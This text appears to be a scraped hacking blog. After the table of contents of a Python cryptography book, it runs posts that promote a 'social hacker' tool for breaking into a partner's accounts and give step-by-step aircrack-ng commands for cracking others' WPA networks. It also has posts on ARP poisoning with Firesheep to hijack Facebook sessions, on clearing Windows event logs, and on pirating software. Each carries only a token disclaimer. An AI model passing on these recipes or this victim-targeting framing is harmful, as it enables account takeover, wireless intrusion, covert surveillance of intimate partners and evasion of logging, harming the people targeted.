PC WIZARD

Python Tutorial Part 1

2013-10-07T14:40:00.000-07:00

TABLE OF CONTENTS
About This Book ....................................................................................................................... 6
Table of Contents ..................................................................................................................... 7
Chapter 1 - Making Paper Cryptography Tools ...................................................................... 1
What is Cryptography? ................................................................................................................................................ 2
Codes vs. Ciphers ........................................................................................................................................................ 3
Making a Paper Cipher Wheel ..................................................................................................................................... 4
A Virtual Cipher Wheel ............................................................................................................................................... 7
How to Encrypt with the Cipher Wheel ....................................................................................................................... 8
How to Decrypt with the Cipher Wheel ....................................................................................................................... 9
A Different Cipher Tool: The St. Cyr Slide ............................................................................................................... 10
Practice Exercises, Chapter 1, Set A .......................................................................................................................... 11
Doing Cryptography without Paper Tools ................................................................................................................. 11
Practice Exercises, Chapter 1, Set B .......................................................................................................................... 13
Double-Strength Encryption?..................................................................................................................................... 13
Programming a Computer to do Encryption .............................................................................................................. 14
Chapter 2 - Installing Python ................................................................................................. 16
Downloading and Installing Python ........................................................................................................................... 17
Downloading pyperclip.py ......................................................................................................................................... 18
Starting IDLE ............................................................................................................................................................. 18
The Featured Programs .............................................................................................................................................. 19
Line Numbers and Spaces .......................................................................................................................................... 20
Text Wrapping in This Book ..................................................................................................................................... 20
Tracing the Program Online ....................................................................................................................................... 21
Checking Your Typed Code with the Online Diff Tool ............................................................................................. 21
Copying and Pasting Text .......................................................................................................................................... 21
More Info Links ......................................................................................................................................................... 22
Programming and Cryptography ................................................................................................................................ 22
Chapter 3 - The Interactive Shell .......................................................................................... 26
Some Simple Math Stuff ............................................................................................................................................ 26
Integers and Floating Point Values ............................................................................................................................ 27
Expressions ................................................................................................................................................................ 27
Order of Operations ................................................................................................................................................... 28
Evaluating Expressions .............................................................................................................................................. 29
Errors are Okay! ......................................................................................................................................................... 29
Practice Exercises, Chapter 3, Set A .......................................................................................................................... 30
Every Value has a Data Type ..................................................................................................................................... 30
Storing Values in Variables with Assignment Statements ......................................................................................... 30
Overwriting Variables ................................................................................................................................................ 32
Using More Than One Variable ................................................................................................................................. 33
Variable Names .......................................................................................................................................................... 34
Practice Exercises, Chapter 3, Set B .......................................................................................................................... 35
Summary - But When Are We Going to Start Hacking?............................................................................................ 35
Chapter 4 - Strings and Writing Programs ........................................................................... 36
Strings ........................................................................................................................................................................ 36
String Concatenation with the + Operator ................................................................................................................. 38
String Replication with the * Operator ...................................................................................................................... 39
Printing Values with the print() Function ............................................................................................................ 39
Escape Characters ...................................................................................................................................................... 40
Quotes and Double Quotes ........................................................................................................................................ 41
Practice Exercises, Chapter 4, Set A .......................................................................................................................... 42
Indexing ..................................................................................................................................................................... 42
Negative Indexes ........................................................................................................................................................ 44
Slicing ........................................................................................................................................................................ 44
Blank Slice Indexes.................................................................................................................................................... 45
Practice Exercises, Chapter 4, Set B .......................................................................................................................... 46
Writing Programs in IDLE’s File Editor .................................................................................................................... 46
Hello World! .............................................................................................................................................................. 47
Source Code of Hello World ...................................................................................................................................... 47
Saving Your Program ................................................................................................................................................ 48
Running Your Program .............................................................................................................................................. 49
Opening The Programs You’ve Saved ....................................................................................................................... 50
How the “Hello World” Program Works ................................................................................................................... 50
Comments .................................................................................................................................................................. 50
Functions.................................................................................................................................................................... 51
The print() function ............................................................................................................................................. 51
The input() function ............................................................................................................................................. 51
Ending the Program ................................................................................................................................................... 52
Practice Exercises, Chapter 4, Set C .......................................................................................................................... 52
Summary .................................................................................................................................................................... 53
Chapter 5 - The Reverse Cipher ............................................................................................ 54
The Reverse Cipher.................................................................................................................................................... 54
Source Code of the Reverse Cipher Program ............................................................................................................. 55
Sample Run of the Reverse Cipher Program .............................................................................................................. 55
Checking Your Source Code with the Online Diff Tool ............................................................................................ 56
How the Program Works............................................................................................................................................ 56
The len() Function ................................................................................................................................................. 57
Introducing the while Loop ..................................................................................................................................... 58
The Boolean Data Type ............................................................................................................................................. 59
Comparison Operators ............................................................................................................................................... 59
Conditions .................................................................................................................................................................. 62
Blocks ........................................................................................................................................................................ 62
The while Loop Statement ...................................................................................................................................... 63
“Growing” a String .................................................................................................................................................... 64
Tracing Through the Program, Step by Step .............................................................................................................. 67
Using input() In Our Programs ............................................................................................................................. 68
Practice Exercises, Chapter 5, Section A ................................................................................................................... 69
Summary .................................................................................................................................................................... 69
Chapter 6 - The Caesar Cipher .............................................................................................. 70
Implementing a Program ............................................................................................................................................ 70
Source Code of the Caesar Cipher Program ............................................................................................................... 71
Sample Run of the Caesar Cipher Program ................................................................................................................ 72
Checking Your Source Code with the Online Diff Tool ............................................................................................ 73
Practice Exercises, Chapter 6, Set A .......................................................................................................................... 73
How the Program Works............................................................................................................................................ 73
Importing Modules with the import Statement ....................................................................................................... 73
Constants.................................................................................................................................................................... 74
The upper() and lower() String Methods ........................................................................................................ 75
The for Loop Statement ........................................................................................................................................... 76
A while Loop Equivalent of a for Loop ................................................................................................................ 77
Practice Exercises, Chapter 6, Set B .......................................................................................................................... 78
The if Statement ...................................................................................................................................................... 78
The else Statement .................................................................................................................................................. 79
The elif Statement .................................................................................................................................................. 79
The in and not in Operators ................................................................................................................................. 80
The find() String Method ...................................................................................................................................... 81
Practice Exercises, Chapter 6, Set C .......................................................................................................................... 82
Back to the Code ........................................................................................................................................................ 82
Displaying and Copying the Encrypted/Decrypted String ......................................................................................... 85
Encrypt Non-Letter Characters .................................................................................................................................. 86
Summary .................................................................................................................................................................... 87
Chapter 7 - Hacking the Caesar Cipher with the Brute-Force Technique .......................... 88
Hacking Ciphers ........................................................................................................................................................ 88
The Brute-Force Attack ............................................................................................................................................. 89
Source Code of the Caesar Cipher Hacker Program .................................................................................................. 89
Sample Run of the Caesar Cipher Hacker Program ................................................................................................... 90
How the Program Works............................................................................................................................................ 91
The range() Function ............................................................................................................................................ 91
Back to the Code ........................................................................................................................................................ 93
String Formatting ....................................................................................................................................................... 94
Practice Exercises, Chapter 7, Set A .......................................................................................................................... 95
Summary .................................................................................................................................................................... 95
Chapter 8 - Encrypting with the Transposition Cipher ........................................................ 96
Encrypting with the Transposition Cipher ................................................................................................................. 96
Practice Exercises, Chapter 8, Set A .......................................................................................................................... 98
A Transposition Cipher Encryption Program ............................................................................................................. 98
Source Code of the Transposition Cipher Encryption Program ................................................................................. 98
Sample Run of the Transposition Cipher Encryption Program .................................................................................. 99
How the Program Works.......................................................................................................................................... 100
Creating Your Own Functions with def Statements ............................................................................................... 100
The Program’s main() Function ........................................................................................................................... 101
Parameters ................................................................................................................................................................ 102
Variables in the Global and Local Scope ................................................................................................................. 104
The global Statement ........................................................................................................................................... 104
Practice Exercises, Chapter 8, Set B ........................................................................................................................ 106
The List Data Type .................................................................................................................................................. 106
Using the list() Function to Convert Range Objects to Lists ............................................................................. 109
Reassigning the Items in Lists.................................................................................................................................. 110
Reassigning Characters in Strings ............................................................................................................................ 110
Lists of Lists ............................................................................................................................................................ 110
Practice Exercises, Chapter 8, Set C ........................................................................................................................ 111
Using len() and the in Operator with Lists ......................................................................................................... 111
List Concatenation and Replication with the + and * Operators.............................................................................. 112
Practice Exercises, Chapter 8, Set D ........................................................................................................................ 113
The Transposition Encryption Algorithm ................................................................................................................ 113
Augmented Assignment Operators .......................................................................................................................... 115
Back to the Code ...................................................................................................................................................... 116
The join() String Method .................................................................................................................................... 118
Return Values and return Statements .................................................................................................................. 119
Practice Exercises, Chapter 8, Set E ........................................................................................................................ 120
Back to the Code ...................................................................................................................................................... 120
The Special __name__ Variable ............................................................................................................................ 120
Key Size and Message Length ................................................................................................................................. 121
Summary .................................................................................................................................................................. 122
Chapter 9 - Decrypting with the Transposition Cipher ...................................................... 123
Decrypting with the Transposition Cipher on Paper ................................................................................................ 124
Practice Exercises, Chapter 9, Set A ........................................................................................................................ 125
A Transposition Cipher Decryption Program........................................................................................................... 126
Source Code of the Transposition Cipher Decryption Program ............................................................................... 126
How the Program Works.......................................................................................................................................... 127
The math.ceil(), math.floor() and round() Functions ......................................................................... 128
The and and or Boolean Operators ........................................................................................................................ 132
Practice Exercises, Chapter 9, Set B ........................................................................................................................ 133
Truth Tables ............................................................................................................................................................. 133
The and and or Operators are Shortcuts ................................................................................................................ 134
Order of Operations for Boolean Operators ............................................................................................................. 135
Back to the Code ...................................................................................................................................................... 135
Practice Exercises, Chapter 9, Set C ........................................................................................................................ 137
Summary .................................................................................................................................................................. 137
Chapter 10 - Programming a Program to Test Our Program ............................................ 138
Source Code of the Transposition Cipher Tester Program ....................................................................................... 139
Sample Run of the Transposition Cipher Tester Program ........................................................................................ 140
How the Program Works.......................................................................................................................................... 141
Pseudorandom Numbers and the random.seed() Function ............................................................................... 141
The random.randint() Function ..................................................................................................................... 143
References ................................................................................................................................................................ 143
The copy.deepcopy() Functions ...................................................................................................................... 147
Practice Exercises, Chapter 10, Set A ...................................................................................................................... 148
The random.shuffle() Function ..................................................................................................................... 148
Randomly Scrambling a String ................................................................................................................................ 149
Back to the Code ...................................................................................................................................................... 149
The sys.exit() Function ................................................................................................................................... 150
Testing Our Test Program ........................................................................................................................................ 151
Summary .................................................................................................................................................................. 152
Chapter 11 - Encrypting and Decrypting Files ................................................................... 153
Plain Text Files ........................................................................................................................................................ 154
Source Code of the Transposition File Cipher Program ........................................................................................... 154
Sample Run of the Transposition File Cipher Program ........................................................................................... 157
Reading From Files .................................................................................................................................................. 157
Writing To Files ....................................................................................................................................................... 158
How the Program Works.......................................................................................................................................... 159
The os.path.exists() Function ..................................................................................................................... 160
The startswith() and endswith() String Methods ..................................................................................... 161
The title() String Method ................................................................................................................................. 162
The time Module and time.time() Function .................................................................................................. 163
Back to the Code ...................................................................................................................................................... 164
Practice Exercises, Chapter 11, Set A ...................................................................................................................... 165

Back to the Code ......................................................................................................................................................

165
Chapter 12 - Detecting English Programmatically ............................................................ 166
How Can a Computer Understand English? ............................................................................................................. 167
Practice Exercises, Chapter 12, Section A ............................................................................................................... 169
The Detect English Module ..................................................................................................................................... 169
Source Code for the Detect English Module ............................................................................................................ 169
How the Program Works.......................................................................................................................................... 170
Dictionaries and the Dictionary Data Type .............................................................................................................. 171
Adding or Changing Items in a Dictionary .............................................................................................................. 172
Practice Exercises, Chapter 12, Set B ...................................................................................................................... 173
Using the len() Function with Dictionaries .......................................................................................................... 173
Using the in Operator with Dictionaries ................................................................................................................. 173
Using for Loops with Dictionaries ........................................................................................................................ 174
Practice Exercises, Chapter 12, Set C ...................................................................................................................... 174
The Difference Between Dictionaries and Lists ....................................................................................................... 174
Finding Items is Faster with Dictionaries Than Lists ............................................................................................... 175
The split() Method ............................................................................................................................................ 175
The None Value ...................................................................................................................................................... 176
Back to the Code ...................................................................................................................................................... 177
“Divide by Zero” Errors ........................................................................................................................................... 179
The float(), int(), and str() Functions and Integer Division ..................................................................... 179
Practice Exercises, Chapter 12, Set D ...................................................................................................................... 180
Back to the Code ...................................................................................................................................................... 180
The append() List Method ..................................................................................................................................... 182
Default Arguments ................................................................................................................................................... 183
Calculating Percentage ............................................................................................................................................. 184
Practice Exercises, Chapter 12, Set E ...................................................................................................................... 185
Summary .................................................................................................................................................................. 186
Chapter 13 - Hacking the Transposition Cipher ................................................................ 187
Source Code of the Transposition Cipher Hacker Program ..................................................................................... 187
Sample Run of the Transposition Breaker Program ................................................................................................. 189
How the Program Works.......................................................................................................................................... 190
Multi-line Strings with Triple Quotes ...................................................................................................................... 190
The First Affine Key Problem.........................

191
The strip() String Method ................................................................................................................................. 193
Practice Exercises, Chapter 13, Set A ...................................................................................................................... 195
Summary .................................................................................................................................................................. 195
Chapter 14 - Modular Arithmetic with the Multiplicative and Affine Ciphers ................. 196
Oh No Math! ............................................................................................................................................................ 197
Math Oh Yeah! ........................................................................................................................................................ 197
Modular Arithmetic (aka Clock Arithmetic) ............................................................................................................ 197
The % Mod Operator ............................................................................................................................................... 199
Practice Exercises, Chapter 14, Set A ...................................................................................................................... 199
GCD: Greatest Common Divisor (aka Greatest Common Factor) ........................................................................... 199
Visualize Factors and GCD with Cuisenaire Rods ................................................................................................... 200
Practice Exercises, Chapter 14, Set B ...................................................................................................................... 202
Multiple Assignment ................................................................................................................................................ 202
Swapping Values with the Multiple Assignment Trick ............................................................................................ 203
Euclid’s Algorithm for Finding the GCD of Two Numbers..................................................................................... 203
“Relatively Prime” ................................................................................................................................................... 205
Practice Exercises, Chapter 14, Set C ...................................................................................................................... 205
The Multiplicative Cipher ........................................................................................................................................ 205
Practice Exercises, Chapter 14, Set D ...................................................................................................................... 207
Multiplicative Cipher + Caesar Cipher = The Affine Cipher ................................................................................... 207
Summary .................................................................................................................................................................. ......................................................................................................... 207
Decrypting with the Affine Cipher........................................................................................................................... 208
Finding Modular Inverses ........................................................................................................................................ 209
The // Integer Division Operator ........................................................................................................................... 210
Source Code of the cryptomath Module ............................................................................................................. 210
Practice Exercises, Chapter 14, Set E ...................................................................................................................... 211
Summary .................................................................................................................................................................. 211
Chapter 15 - The Affine Cipher ........................................................................................... 213
Source Code of the Affine Cipher Program ............................................................................................................. 214
Sample Run of the Affine Cipher Program .............................................................................................................. 216
Practice Exercises, Chapter 15, Set A ...................................................................................................................... 216
How the Program Works.......................................................................................................................................... 216
Splitting One Key into Two Keys ............................................................................................................................ 218
How the Program Works..........................................................................................................................................

The Tuple Data Type ............................................................................................................................................... 218
Input Validation on the Keys ................................................................................................................................... 219
The Affine Cipher Encryption Function .................................................................................................................. 220
The Affine Cipher Decryption Function .................................................................................................................. 221
Generating Random Keys ........................................................................................................................................ 222
The Second Affine Key Problem: How Many Keys Can the Affine Cipher Have? ................................................. 223
Summary .................................................................................................................................................................. 225
Chapter 16 - Hacking the Affine Cipher ............................................................................. 226
Source Code of the Affine Cipher Hacker Program ................................................................................................. 226
Sample Run of the Affine Cipher Hacker Program .................................................................................................. 228
How the Program Works.......................................................................................................................................... 228
The Affine Cipher Hacking Function ....................................................................................................................... 230
The ** Exponent Operator ...................................................................................................................................... 230
The continue Statement ...................................................................................................................................... 231
Practice Exercises, Chapter 16, Set A ...................................................................................................................... 234
Summary .................................................................................................................................................................. 234
Chapter 17 - The Simple Substitution Cipher .................................................................... 235
The Simple Substitution Cipher with Paper and Pencil ........................................................................................... 236
Practice Exercises, Chapter 17, Set A ...................................................................................................................... 236
Source Code of the Simple Substitution Cipher ....................................................................................................... 237
Sample Run of the Simple Substitution Cipher Program ......................................................................................... 239

239
The Program’s main() Function ........................................................................................................................... 240
The sort() List Method ....................................................................................................................................... 241
Wrapper Functions ................................................................................................................................................... 242
The Program’s translateMessage() Function ............................................................................................... 243
The isupper() and islower() String Methods .............................................................................................. 245
Practice Exercises, Chapter 17, Set B ...................................................................................................................... 247
Generating a Random Key ....................................................................................................................................... 247
Encrypting Spaces and Punctuation ......................................................................................................................... 248
Practice Exercises, Chapter 17, Set C ...................................................................................................................... 249
Summary .................................................................................................................................................................. 249
Chapter 18 - Hacking the Simple Substitution Cipher ...................................................... 250
Computing Word Patterns ........................................................................................................................................ 251
Getting a List of Candidates for a Cipherword ........................................................................................................ 252
Practice Exercises, Chapter 18, Set A ...................................................................................................................... 253
Source Code of the Word Pattern Module ............................................................................................................... 253
Sample Run of the Word Pattern Module ................................................................................................................ 255
How the Program Works.......................................................................................................................................... 256
The pprint.pprint() and pprint.pformat() Functions ........................................................................ 256
Building Strings in Python with Lists ...................................................................................................................... 257
Calculating the Word Pattern ................................................................................................................................... 258
The Word Pattern Program’s main() Function ..................................................................................................... 259
Hacking the Simple Substitution Cipher .................................................................................................................. 262
Source Code of the Simple Substitution Hacking Program...................................................................................... 262
Hacking the Simple Substitution Cipher (in Theory) ............................................................................................... 266
Explore the Hacking Functions with the Interactive Shell ....................................................................................... 266
How the Program Works.......................................................................................................................................... 271
Import All the Things ............................................................................................................................................... 272
A Brief Intro to Regular Expressions and the sub() Regex Method ......................................................................... 272
The Hacking Program’s main() Function ............................................................................................................. 273
Partially Hacking the Cipher .................................................................................................................................... 274
Blank Cipherletter Mappings ................................................................................................................................... 275
Adding Letters to a Cipherletter Mapping ............................................................................................................... 276
Intersecting Two Letter Mappings ........................................................................................................................... 277
Removing Solved Letters from the Letter Mapping ................................................................................................. 278
Hacking the Simple Substitution Cipher .................................................................................................................. 281
Creating a Key from a Letter Mapping .................................................................................................................... 283
Couldn’t We Just Encrypt the Spaces Too? ............................................................................................................. 285
Summary .................................................................................................................................................................. 286
Chapter 19 - The Vigenère Cipher ...................................................................................... 287
Le Chiffre Indéchiffrable ......................................................................................................................................... 288
Multiple “Keys” in the Vigenère Key ...................................................................................................................... 288
Source Code of Vigenère Cipher Program ............................................................................................................... 291
Sample Run of the Vigenère Cipher Program .......................................................................................................... 294
How the Program Works.......................................................................................................................................... 294
Summary .................................................................................................................................................................. 298
Chapter 20 - Frequency Analysis ........................................................................................ 299
The Code for Matching Letter Frequencies ............................................................................................................. 304
How the Program Works.......................................................................................................................................... 306
The Most Common Letters, “ETAOIN” .................................................................................................................. 307
The Program’s getLettersCount() Function ................................................................................................. 307
The Program’s getItemAtIndexZero() Function .......................................................................................... 308
The Program’s getFrequencyOrder() Function ............................................................................................ 308
The sort() Method’s key and reverse Keyword Arguments ......................................................................... 310
Passing Functions as Values .................................................................................................................................... 311
Converting Dictionaries to Lists with the keys(), values(), items() Dictionary Methods ......................................... 313
Sorting the Items from a Dictionary ......................................................................................................................... 315
The Program’s englishFreqMatchScore() Function ................................................................................... 316
Summary .................................................................................................................................................................. 317
Chapter 21 - Hacking the Vigenère Cipher ........................................................................ 318
The Dictionary Attack .............................................................................................................................................. 319
Source Code for a Vigenère Dictionary Attack Program ......................................................................................... 319
Sample Run of the Vigenère Dictionary Hacker Program ....................................................................................... 320
The readlines() File Object Method ................................................................................................................ 321
The Babbage Attack & Kasiski Examination ........................................................................................................... 321
Kasiski Examination, Step 1 – Find Repeat Sequences’ Spacings ........................................................................... 321
Kasiski Examination, Step 2 – Get Factors of Spacings .......................................................................................... 322
Get Every Nth Letters from a String ........................................................................................................................ 323
Frequency Analysis .................................................................................................................................................. 323
Brute-Force through the Possible Keys .................................................................................................................... 325
Source Code for the Vigenère Hacking Program ..................................................................................................... 326
Sample Run of the Vigenère Hacking Program ....................................................................................................... 332
How the Program Works.......................................................................................................................................... 334
Finding Repeated Sequences ................................................................................................................................... 335
Calculating Factors .................................................................................................................................................. 337
Removing Duplicates with the set() Function .......................................................................................................... 338
The Kasiski Examination Algorithm........................................................................................................................ 341
The extend() List Method ................................................................................................................................... 342
The end Keyword Argument for print() ........................................................................................................... 347
The itertools.product() Function .............................................................................................................. 348
The break Statement ............................................................................................................................................. 352
Practice Exercises, Chapter 21, Set A ...................................................................................................................... 354
Modifying the Constants of the Hacking Program ................................................................................................... 354
Summary .................................................................................................................................................................. 355
Chapter 22 - The One-Time Pad Cipher .............................................................................. 356
The Unbreakable One-Time Pad Cipher .................................................................................................................. 357
Why the One-Time Pad is Unbreakable ................................................................................................................... 357
Beware Pseudorandomness ...................................................................................................................................... 358
Beware the Two-Time Pad ...................................................................................................................................... 358
The Two-Time Pad is the Vigenère Cipher .............................................................................................................. 359
Practice Exercises, Chapter 22, Set A ...................................................................................................................... 360
Summary .................................................................................................................................................................. 360
Chapter 23 - Finding Prime Numbers ................................................................................. 361
Prime Numbers ........................................................................................................................................................ 362
Composite Numbers................................................................................................................................................. 363
Source Code for The Prime Sieve Module ............................................................................................................... 363
How the Program Works.......................................................................................................................................... 364
How to Calculate if a Number is Prime ................................................................................................................... 365
The Sieve of Eratosthenes ........................................................................................................................................ 366
The primeSieve() Function............................................................................................................................... 368
Detecting Prime Numbers ........................................................................................................................................ 369
Source Code for the Rabin-Miller Module ............................................................................................................... 370
Sample Run of the Rabin Miller Module ................................................................................................................. 372
How the Program Works.......................................................................................................................................... 372
The Rabin-Miller Primality Algorithm .................................................................................................................... 372
The New and Improved isPrime() Function ...................................................................................................... 373
Summary .................................................................................................................................................................. 375
Chapter 24 - Public Key Cryptography and the RSA Cipher .............................................. 378
Public Key Cryptography......................................................................................................................................... 379
The Dangers of “Textbook” RSA ............................................................................................................................ 381
A Note About Authentication .................................................................................................................................. 381
The Man-In-The-Middle Attack .............................................................................................................................. 382
Generating Public and Private Keys......................................................................................................................... 383
Source Code for the RSA Key Generation Program ................................................................................................ 383
Sample Run of the RSA Key Generation Program .................................................................................................. 385
How the Key Generation Program Works ............................................................................................................... 386
The Program’s generateKey() Function ........................................................................................................... 387
RSA Key File Format .............................................................................................................................................. 390
Hybrid Cryptosystems ............................................................................................................................................. 391
Source Code for the RSA Cipher Program .............................................................................................................. 391
Sample Run of the RSA Cipher Program ................................................................................................................. 395
Practice Exercises, Chapter 24, Set A ...................................................................................................................... 397
Digital Signatures .................................................................................................................................................... 397
How the RSA Cipher Program Works ..................................................................................................................... 398
ASCII: Using Numbers to Represent Characters ..................................................................................................... 400
The chr() and ord() Functions .......................................................................................................................... 400
Practice Exercises, Chapter 24, Set B ...................................................................................................................... 401
Blocks ...................................................................................................................................................................... 401
Converting Strings to Blocks with getBlocksFromText() ............................................................................. 404
The encode() String Method and the Bytes Data Type ....................................................................................... 405
The bytes() Function and decode() Bytes Method ........................................................................................ 405
Practice Exercises, Chapter 24, Set C ...................................................................................................................... 406
Back to the Code ...................................................................................................................................................... 406
The min() and max() Functions .......................................................................................................................... 407
The insert() List Method ................................................................................................................................... 410
The Mathematics of RSA Encrypting and Decrypting ............................................................................................. 411
The pow() Function ............................................................................................................................................... 411
Reading in the Public & Private Keys from their Key Files ..................................................................................... 413
The Full RSA Encryption Process ........................................................................................................................... 413
The Full RSA Decryption Process ........................................................................................................................... 416
Practice Exercises, Chapter 24, Set D ...................................................................................................................... 418
Why Can’t We Hack the RSA Cipher ...................................................................................................................... 418
Summary .................................................................................................................................................................. 420
About the Author .................................................................................................................. 422

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Enjoy.....

Hacking Tools

2013-10-06T11:59:00.002-07:00

Find out the password for your victim's profile

There are millions of people with millions of social network accounts. They are usually using the largest social networks to exchange messages, share their photos and every single tiny moments of their life. Have you ever wondered what your friends are talking about in private messages? Who is this guy that your girlfriend are excited about?

Is she cheating on you maybe? Well, you have to find out the truth! With Ultimate Social Hacker it's gonna be a walk in the park.
The Ultimate Social Hacker 3.5.1 in Action - Progress is Shown in the Console Window
How to use the Ultimate Social Hacker?

It's a really simple and straight forward process. You have to download the software to your computer. Enter your victim's login e-mail and load the necessary plugins than take a look at the settings. Hit the start button and the tool will do the rest! The hacking process could take a couple minutes based on your victim's password strength and the protection level of the database where the attacked account is located. Check back a few minutes later and you will see the exact password in the console window. Now make sure to open a private browsing window in your Internet browser and log in to your victim's account.

What else can I do with this exclusive tool?

The brand new Ultimate Social Hacker is not just a social network password hacking tool. You can enjoy all the cool features already built-in the software to trick your friends such as
Hack any popular social network account in minutes
Freeze accounts and replace their passwords
Portable version to install on USB flash drives
Anonymous mode to cover footprints when used on the victim's computer
Multi-thread account hacking procedures to maximize speed and performance
Plugin support (extend the possibilities and add new features easily)
Easy to understand interface
Runs on Windows 2000, XP, Vista, 7 and Windows 8

Download Now

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Backtrack Tutorial

2013-09-24T03:09:00.000-07:00

Backtrack Tutorial(Scripting)

Command Shell Scripting

A shell is the interface between the user and the operating system. It allows us to run programs, copy files, and perform a number of tasks. All operating systems have a shell of some form.

A shell might be a graphical user interface (GUI), such as Microsoft Windows. Or it could be text-based which allows us to run commands by typing them out.

Windows 7 Command Prompt

A script is a program-like file that runs many commands at one time. There are even “programming” languages for scripts known as scripting languages. A shell script is wonderful tool we can add to our penetration testing toolbox. A shell script is a program written in a scripting language which is used to interface in some way which the shell of the operating system.

Since this site is about backtrack tutorials, I will be using backtrack 5 for most of my examples. Fire up the terminal and lets run some commands!

Bash Basics

Since we are using backtrack, lets open up a text editor (vi, emacs, gedit, etc.). Once open, lets jump right in to our first bash script, “Hello World”.

Open a new file in gedit, and type:



#!/bin/bash

echo "Hello World"

Now we save the file somewhere, and name it “helloworld”. In order to make the script we just wrote executable, we type in our terminal:

chmod u+x helloworld

We must be in the same directory where we saved the file to do this. I saved my script to the desktop, so in the terminal I typed:

cd Desktop

And finally, to run our script we type:

./helloworld

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Cracking WPA

2013-09-13T02:55:00.000-07:00

CRACKING WPA WIRELESS NETWORK

This chapter will teach you how to crack the WPA of a wireless network using BackTrack 4 step by step. BackTrack is a free OS available for download at http://www.backtrack-linux.org/downloads/. This tutorial is using BackTrack 4, but it should work similar in newer versions. Backtrack is the ultimate security testing OS,
and is preloaded with hundreds of tools you can use to hack. We're only going to be using a couple for this tutorial. Cracking WPA isn't 100% going to work everytime. It depends on how easy their WPA password is, and how good your dictionary file is.
What you will need:

Computer (Windows, Mac, Linux, any OS)
Wireless card that supports promiscuous mode (Most do, if yours isn't compatible you can buy one that is at any computer store. Check compatibility here: http://www.aircrack-ng.org/doku.php?id=compatibility_drivers&DokuWiki=68b8d15896f4851257a33e8133350dd7#which_is_the_best_card_to_buy)
Dictionary file (backtrack comes with a couple)
Optional: Flash drive or blank DVD

Download the BackTrack 4 flavor of your choice. You can either boot the OS using VMware within windows, or you can boot backtrack straight off of a DVD or flash drive. Instructions for each of these methods are on the backtrack website.
Once you have booted up backtrack, it will ask you for a username and password. username: root password: toor
Now type startx and press enter. This will log you into backtrack and you should now see the desktop.
Open a command terminal. You can do this by clicking the black box icon bottom left corner of the screen.
type in: airmon-ng
Look for the name of your wireless card, its different for a lot of computers, mine is wlan0, so for the rest of this guide thats what i'm going to use. Replace wlan0 in all the following steps with whatever your device name is.
type: airmon-ng stop wlan0
type: macchanger --mac 00:11:22:33:44:55 wlan0
type: airmon-ng start wlan0
type: airodump-ng wlan0
You will now see all of the wifi networks in range. once you found the one you want to hack, press Ctrl + C to stop scanning. Take note of the bssid and channel of the network you want to hack.
type: airodump-ng -c (put the channel # here) -w wpahack --bssid (enter bssid here) wlan0
Keep that window open, now open another command terminal and enter the following in the newly opened terminal:
type: aireplay-ng -0 5 -a (enter bssid here) wlan0
type: aircrack-ng wpahack.cap -w (path to a dictionary file)
You should now see it attempting to crack the WPA key. This could take awhile depending on how big the dictionary file is, and how fast your computer is. When its found the key, it will appear on the screen. You can now log into that network using the WPA on the screen :)

NOTES:
This won't work if you dont get a WPA handshake. The command terminal will let you know if you've received the WPA handshake or not.
Hacking WPA isn't 100% going to work every time. It will only work if their WPA password is in the dictionary file you're using. The bigger the dictionary file, the better your chances, the longer it will take.
It is illegal to steal wireless internet. Only try this on your own network. This guide is for educational purposes only, as with everything in this ebook. Use at your own risk.

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Clearing System Logs

2013-09-12T16:48:00.004-07:00

HOW TO CLEAR SYSTEM LOGS

This tutorial will walk you through clearing the system logs on a windows computer. The system keeps a long of what programs you opened, hardware used, etc, along with time stamps, and a bunch of other information you might not want someone to see.
This tutorial assumes you're using a Windows based PC.

Navigate to Control Panel
Click Administrative tools. In Windows 7, this is under System and Security in the control panel.
Double click and open Event Viewer
In the left pane, you will see all the different things that are logged. Expand these, right click, and choose Clear log for each log you wanted wiped.

Have fun :)

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Sniffing Tutorial

2013-09-12T16:46:00.001-07:00

SNIFFING WITH FIREFOX

This method will show you how to gain access to someones facebook account using your computer running firefox. Works similar to the android phone method, just has a couple more steps.

This requires:

A computer running FireFox 3. Firefox 4 will not work
Must be on the same network as the person your trying to gain access to
The firesheep plugin for firefox. You can get this at http://codebutler.com/firesheep
Also requires Cain & Abel. You can get this at http://www.oxid.it/cain.html

Install both of the above programs. Open cain and abel
goto configure. Select your wireless card, it should be the only one with an IP address that isn't all 0's.
Goto the sniffer tab
Make sure the wireless card icon is pressed (2nd icon from the left)
Hit the blue + icon
make sure all hosts is selected, and press ok
Routers should now show up in the list. Right click any that show up and choose resolve host name. This may take a few seconds
Now click the APR tab at the bottom
Press the blue + icon
Click on the router in the left box, then select everything in the right box. press OK
now press the APR button top left (its 3rd icon from the left, next to the wireless card icon)
Now open up Firefox, and open the firesheep plugin.
Press the start capturing button
As soon as someone on the network your connected to logs into their facebook, they will show up in the firesheep list. You simply click on them and you'll be logged into their account.

As always, this is for educational purposes only. It is illegal to hack into an account of someone else. Use at your own risk.

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Pirating

2013-09-12T16:35:00.002-07:00

PIRATE FULL VERSION OF SOFTWARE

This guide will show you how people are able to pirate full versions of games, music, movies, and software.
What is required:

A computer with an internet connection
Vuze, which can be downloaded from http://www.vuze.com/
Optional (recommended): pirates bay search template for vuze (google this)

First, download and install vuze. This software is similar to other previous P2P programs like Kazaa, limewire, etc. only it uses the ever popular torrents.
To increase the amount of results you get, I recommend installed the pirates bay search template for vuze. This will add the pirates bay into the list of torrents it searches.
In the vuze search bar, enter the program/music/movie/game you want to download.
Sort by seeders; the more seeders a torrent has, the faster it will download. Torrents with higher seeders usually dont have viruses as well, because huge amounts of people wouldn't be sharing an infected file.
As good practice, make sure to check the comments on a file to make sure what you're downloading is legit and works.
Once your file is done downloading, you can find it in My Documents > Vuze downloads
Enjoy :)

This is for educational purposes only. Pirating software/music/movies/anything is illegal. Use at your own risk.
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Android news

2013-09-08T18:17:00.004-07:00

Google Worries As Android OS Chaos Increases

When Your Favorite Internet Gaint Google, Rolls out a new Operating System For its Android Mobile Devices, It doesn't mean that every android user can install the updates on their Phones Immediately, They Have to wait atleast 6 months. And those are the lucky Ones, Others don't even get an Upgrade to their Android OS.
The Upgrades Are Reserved For Newer Devices, And for the older devices (like more than 9 months old), The manufacturedecides if they want to give upgrade.

This Table Shows The Current Android OS distribution On The Market :

Ginger-Bread As A Security Risk :

Google Is Unhappy by this fragmentation in the android market, As it makes a lot of trouble for the developer to port their apps to this large variety of hardware's, versions and interfaces, And this condition also applies to Google's own Apps. So Google Created A Modular Design Since Ice Cream Sandwich, Where Google can upgrade some parts of the OS like Play Store, Download Manager And Some Other Stuff, Regardless of the manufacture. Thus approx. 20 Modules Always stay up-to-date. Other modules can also be updated by Google if the manufacture allows it, that is why Nexus Series is always updated.

